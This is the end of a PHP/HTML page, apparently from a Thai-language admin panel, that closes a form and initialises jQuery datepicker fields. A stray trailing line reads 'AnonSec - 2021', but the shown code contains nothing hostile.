													</form>
													<?php
														break;
													}//ปิด switch?>

					<!-- สิ้นสุด -->

                  </div><!-- x_content -->
                </div><!-- x_panel -->
              </div>
            </div>

			<!-- Stop -->
          </div>
        </div>
        <!-- /page content -->

		<!-- Footer -->
		 <?php include("footer.php");?>
		<!-- Footer -->

      </div>
    </div>

 	 <?php include("header-script.php");?>
<!-- bootstrap-daterangepicker -->
	<script src="js/bootstrap-datepicker.js"></script>
	<script src="js/bootstrap-datepicker-thai.js"></script>
	<script src="js/locales/bootstrap-datepicker.th.js"></script>

	<script id="example_script"  type="text/javascript">
	  function demo() {
		$('.datepicker').datepicker();
	  }
	 $('#aDate').datepicker({
		format: "dd/mm/yyyy",
		autoclose: true
	});
	$('#StartDate').datepicker({
		format: "dd/mm/yyyy",
		autoclose: true
	});
	$('#StopDate').datepicker({
		format: "dd/mm/yyyy",
		autoclose: true
	});
	</script>
	 <script type="text/javascript">
	  $(function(){
		$('pre[data-source]').each(function(){
		  var $this = $(this),
			$source = $($this.data('source'));

		  var text = [];
		  $source.each(function(){
			var $s = $(this);
			if ($s.attr('type') == 'text/javascript'){
			  text.push($s.html().replace(/(\n)*/, ''));
			} else {
			  text.push($s.clone().wrap('<div>').parent().html()
				.replace(/(\"(?=[[{]))/g,'\'')
				.replace(/\]\"/g,']\'').replace(/\}\"/g,'\'') // javascript not support lookbehind
				.replace(/\&quot\;/g,'"'));
			}
		  });
		  
		  $this.text(text.join('\n\n').replace(/\t/g, '    '));
		});

		prettyPrint();
		demo();
	  });
	</script>
<!-- bootstrap-daterangepicker -->
  </body>
</html>

AnonSec - 2021